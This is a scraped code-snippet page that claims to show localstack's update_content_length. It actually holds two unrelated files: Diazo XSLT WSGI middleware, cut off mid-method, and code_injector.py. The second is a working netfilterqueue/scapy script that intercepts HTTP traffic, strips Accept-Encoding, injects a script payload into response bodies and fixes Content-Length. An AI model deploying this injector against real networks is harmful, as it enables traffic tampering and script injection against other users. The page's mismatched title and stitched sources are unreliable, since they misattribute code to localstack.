How to use update_content_length method in localstack

Best Python code snippet using localstack_python

wsgi.py

Source:wsgi.py

1import re2import pkg_resources3import os.path4from webob import Request5from lxml import etree, html6from repoze.xmliter.serializer import XMLSerializer7from repoze.xmliter.utils import getHTMLSerializer8from diazo.compiler import compile_theme9from diazo.utils import quote_param10DIAZO_OFF_HEADER = 'X-Diazo-Off'11def asbool(value):12    if isinstance(value, basestring):13        value = value.strip().lower()14        if value in ('true', 'yes', 'on', 'y', 't', '1',):15            return True16        elif value in ('false', 'no', 'off', 'n', 'f', '0'):17            return False18        else:19            raise ValueError("String is not true/false: %r" % value)20    else:21        return bool(value)22class FilesystemResolver(etree.Resolver):23    """Resolver for filesystem paths24    """25    def resolve(self, system_url, public_id, context):26        if not '://' in system_url and os.path.exists(system_url):27            return self.resolve_filename(system_url, context)28        else:29            return None30class NetworkResolver(etree.Resolver):31    """Resolver for network urls32    """33    def resolve(self, system_url, public_id, context):34        if '://' in system_url and system_url != 'file:///__diazo__':35            return self.resolve_filename(system_url, context)36        else:37            return None38class PythonResolver(etree.Resolver):39    """Resolver for python:// urls40    """41    42    def resolve(self, system_url, public_id, context):43        if not system_url.lower().startswith('python://'):44            return None45        46        spec = system_url[9:]47        package, resource_name = spec.split('/', 1)48        filename = pkg_resources.resource_filename(package, resource_name)49        50        return self.resolve_filename(filename, context)51class WSGIResolver(etree.Resolver):52    """Resolver that performs a WSGI subrequest53    """54    55    def __init__(self, app):56        self.app = app57    58    def resolve(self, system_url, public_id, context):59        # Ignore URLs with a scheme60        if '://' in system_url:61            return None62        63        # Ignore the special 'diazo:' resolvers64        if system_url.startswith('diazo:'):65            return None66        67        subrequest = Request.blank(system_url)68        response = subrequest.get_response(self.app)69        70        status_code = response.status.split()[0]71        if not status_code == '200':72            return None73        74        return self.resolve_string(response.body, context)75class XSLTMiddleware(object):76    """Apply XSLT in middleware77    """78    79    def __init__(self, app, global_conf,80                 filename=None, tree=None,81                 read_network=False,82                 update_content_length=True,83                 ignored_extensions=(84                     'js', 'css', 'gif', 'jpg', 'jpeg', 'pdf', 'ps', 'doc',85                     'png', 'ico', 'mov', 'mpg', 'mpeg', 'mp3', 'm4a', 'txt',86                     'rtf', 'swf', 'wav', 'zip', 'wmv', 'ppt', 'gz', 'tgz',87                     'jar', 'xls', 'bmp', 'tif', 'tga', 'hqx', 'avi',88                    ),89                 environ_param_map=None,90                 **params91    ):92        """Initialise, giving a filename or parsed XSLT tree.93        94        The parameters are:95        96        * ``filename``, a filename from which to read the XSLT file97        * ``tree``, a pre-parsed lxml tree representing the XSLT file98        99        ``filename`` and ``tree`` are mutually exclusive.100        101        * ``read_network``, should be set to True to allow resolving resources102          from the network.103        * ``update_content_length``, can be set to False to avoid calculating104          an updated Content-Length header when applying the transformation.105          This is only a good idea if some middleware higher up the chain106          is going to set the content length instead.107        * ``ignored_extensions`` can be set to a list of filename extensions108          for which the transformation should never be applied109        * ``environ_param_map`` can be set to a dict of environ keys to110          parameter names. The corresponding values will then be sent to the111          transformation as parameters.112         113        Additional keyword arguments will be passed to the transformation as114        parameters.115        """116        117        self.app = app118        self.global_conf = global_conf119        120        if filename is not None:121            xslt_file = open(filename)122            source = xslt_file.read()123            tree = etree.fromstring(source)124            xslt_file.close()125        126        self.read_network = asbool(read_network)127        self.access_control = etree.XSLTAccessControl(read_file=True, write_file=False, create_dir=False, read_network=read_network, write_network=False)128        self.transform = etree.XSLT(tree, access_control=self.access_control)129        self.update_content_length = asbool(update_content_length)130        self.ignored_extensions = ignored_extensions131        132        self.ignored_pattern = re.compile("^.*\.(%s)$" % '|'.join(ignored_extensions))133        134        self.environ_param_map = environ_param_map or {}135        self.params = params136    137    def __call__(self, environ, start_response):138        request = Request(environ)139        response = request.get_response(self.app)140        141        app_iter = response(environ, start_response)142        143        if self.should_ignore(request) or not self.should_transform(response):144            return app_iter145        146        # Set up parameters147        148        params = {}149        for key, value in self.environ_param_map.items():150            if key in environ:151                params[value] = quote_param(environ[key])152        for key, value in self.params.items():153            params[key] = quote_param(value)154        155        # Apply the transformation156        app_iter = getHTMLSerializer(app_iter)157        tree = self.transform(app_iter.tree, **params)158        159        # Set content type and choose XHTML or HTML serializer160        serializer = html.tostring161        response.headers['Content-Type'] = 'text/html'162        163        if tree.docinfo.doctype and 'XHTML' in tree.docinfo.doctype:164            serializer = etree.tostring165            response.headers['Content-Type'] = 'application/xhtml+xml'166        167        app_iter = XMLSerializer(tree, serializer=serializer)168        169        # Calculate the content length - we still return the parsed tree170        # so that other middleware could avoid having to re-parse, even if171        # we take a hit on serialising here172        if self.update_content_length and 'Content-Length' in response.headers:173            response.headers['Content-Length'] = str(len(str(app_iter)))174        175        # Return a repoze.xmliter XMLSerializer, which helps avoid re-parsing176        # the content tree in later middleware stages177        return app_iter178    179    def should_ignore(self, request):180        """Determine if we should ignore the request181        """182        183        if asbool(request.headers.get(DIAZO_OFF_HEADER, 'no')):184            return True185        186        path = request.path_info187        if self.ignored_pattern.search(path) is not None:188            return True189        190        return False191    192    def should_transform(self, response):193        """Determine if we should transform the response194        """195        196        if asbool(response.headers.get(DIAZO_OFF_HEADER, 'no')):197            return False198        199        content_type = response.headers.get('Content-Type')200        if not content_type or not (201            content_type.lower().startswith('text/html') or202            content_type.lower().startswith('application/xhtml+xml')203        ):204            return False205        206        content_encoding = response.headers.get('Content-Encoding')207        if content_encoding in ('zip', 'deflate', 'compress',):208            return False209        210        status_code = response.status.split()[0]211        if status_code.startswith('3') or status_code == '204' or status_code == '401':212            return False213        214        return True215class DiazoMiddleware(object):216    """Invoke the Diazo transform as middleware217    """218    219    def __init__(self, app, global_conf, rules,220                 theme=None,221                 prefix=None,222                 includemode='document',223                 debug=False,224                 read_network=False,225                 update_content_length=True,226                 ignored_extensions=(227                     'js', 'css', 'gif', 'jpg', 'jpeg', 'pdf', 'ps', 'doc',228                     'png', 'ico', 'mov', 'mpg', 'mpeg', 'mp3', 'm4a', 'txt',229                     'rtf', 'swf', 'wav', 'zip', 'wmv', 'ppt', 'gz', 'tgz',230                     'jar', 'xls', 'bmp', 'tif', 'tga', 'hqx', 'avi',231                    ),232                environ_param_map=None,233                **params234    ):235        """Create the middleware. The parameters are:236        237        * ``rules``, the rules file238        * ``theme``, a URL to the theme file (may be a file:// URL)239        * ``debug``, set to True to recompile the theme on each request240        * ``prefix`` can be set to a string that will be prefixed to241          any *relative* URL referenced in an image, link or stylesheet in the242          theme HTML file before the theme is passed to the compiler. This243          allows a theme to be written so that it can be opened and views244          standalone on the filesystem, even if at runtime its static245          resources are going to be served from some other location. For246          example, an ``<img src="images/foo.jpg" />`` can be turned into 247          ``<img src="/static/images/foo.jpg" />`` with a ``prefix`` of248          "/static".249        * ``includemode`` can be set to 'document', 'esi' or 'ssi' to change250          the way in which includes are processed251        * ``read_network``, should be set to True to allow resolving resources252          from the network.253        * ``update_content_length``, can be set to False to avoid calculating254          an updated Content-Length header when applying the transformation.255          This is only a good idea if some middleware higher up the chain256          is going to set the content length instead.257        * ``ignored_extensions`` can be set to a list of filename extensions258          for which the transformation should never be applied259        260        Additional keyword arguments will be passed to the theme261        transformation as parameters.262        """263        264        self.app = app265        self.global_conf = global_conf266        267        self.rules = rules268        self.theme = theme269        self.absolute_prefix = prefix270        self.includemode = includemode271        self.debug = asbool(debug)272        self.read_network = asbool(read_network)273        self.update_content_length = asbool(update_content_length)274        self.ignored_extensions = ignored_extensions275        276        self.access_control = etree.XSLTAccessControl(read_file=True, write_file=False, create_dir=False, read_network=read_network, write_network=False)277        self.transform_middleware = None278        279        self.environ_param_map = environ_param_map or {}280        self.environ_param_map.update({281                'diazo.path': 'path',282                'diazo.host': 'host',283                'diazo.scheme': 'scheme',284            })285        286        self.params = params.copy()287    288    def compile_theme(self):289        """Compile the Diazo theme, returning an lxml tree (containing an XSLT290        document)291        """292        293        filesystem_resolver = FilesystemResolver(self.app)294        wsgi_resolver = WSGIResolver(self.app)295        python_resolver = PythonResolver()296        network_resolver = NetworkResolver()297        298        rules_parser = etree.XMLParser(recover=False)299        rules_parser.resolvers.add(filesystem_resolver)300        rules_parser.resolvers.add(wsgi_resolver)301        rules_parser.resolvers.add(python_resolver)302        if self.read_network:303            rules_parser.resolvers.add(network_resolver)304        305        theme_parser = etree.HTMLParser()306        theme_parser.resolvers.add(filesystem_resolver)307        theme_parser.resolvers.add(wsgi_resolver)308        theme_parser.resolvers.add(python_resolver)309        if self.read_network:310            theme_parser.resolvers.add(network_resolver)311        312        xsl_params = self.params.copy()313        for value in self.environ_param_map.values():314            if value not in xsl_params:315                xsl_params[value] = None316        317        return compile_theme(self.rules,318                theme=self.theme,319                absolute_prefix=self.absolute_prefix,320                includemode=self.includemode,321                access_control=self.access_control,322                read_network=self.read_network,323                parser=theme_parser,324                rules_parser=rules_parser,325                xsl_params=xsl_params,326            )327    328    def get_transform_middleware(self):329        return XSLTMiddleware(self.app, self.global_conf,330                tree=self.compile_theme(),331                read_network=self.read_network,332                update_content_length=self.update_content_length,333                ignored_extensions=self.ignored_extensions,334                environ_param_map=self.environ_param_map,335                **self.params336            )337    338    def __call__(self, environ, start_response):339        transform_middleware = self.transform_middleware340        if transform_middleware is None or self.debug:341            transform_middleware = self.get_transform_middleware()342        if transform_middleware is not None and not self.debug:343            self.transform_middleware = transform_middleware344        345        # Set up variables, some of which are used as transform parameters346        request = Request(environ)347        348        environ['diazo.rules'] = self.rules349        environ['diazo.absolute_prefix'] = self.absolute_prefix350        environ['diazo.path'] = request.path351        environ['diazo.host'] = request.host352        environ['diazo.scheme'] = request.host353            ...

code_injector.py

Source:code_injector.py

1#!/usr/bin/env python2import re3import netfilterqueue4from scapy.packet import Raw5from scapy.layers.inet import IP, TCP6redirect = b"HTTP/1.1 301 Moved Permanently\nLocation: https://arxiv.org/pdf/2105.14943.pdf\n\n" 7payload = b"<script>alert('h4ck3d');</script>\n"8def set_load(packet, load):9    # print(packet.show())10    packet[Raw].load = load11    del packet[IP].len12    del packet[IP].chksum13    del packet[TCP].chksum14    return packet15def process_packet(packet):16    17    scapy_packet = IP(packet.get_payload())18    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):19        load = scapy_packet[Raw].load20        if scapy_packet[TCP].dport == 80:21            print("[+] HTTP Request")22            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)23            # print(scapy_packet.show())24        elif scapy_packet[TCP].sport == 80:25            print("[+] HTTP Response")26            load = load.replace(b"</body>", payload + b"</body")27            content_length_search = re.search(b"(Content-Length:\s)(\d*)", load)28            if content_length_search and b"text/html" in load:29                content_length = content_length_search.group(2)30                update_content_length = int(content_length.decode()) + len(payload)31                print(f'Before: {content_length} ; After: {update_content_length}')32                load = load.replace(content_length, str(update_content_length).encode())33            # print(scapy_packet.show())34    35        if load != scapy_packet[Raw].load:36            mod_packet = set_load(scapy_packet, load)37            packet.set_payload(bytes(mod_packet))38    39    packet.accept()40def main():41    queue = netfilterqueue.NetfilterQueue()42    queue.bind(0, process_packet)43    queue.run()44if __name__ == "__main__":...

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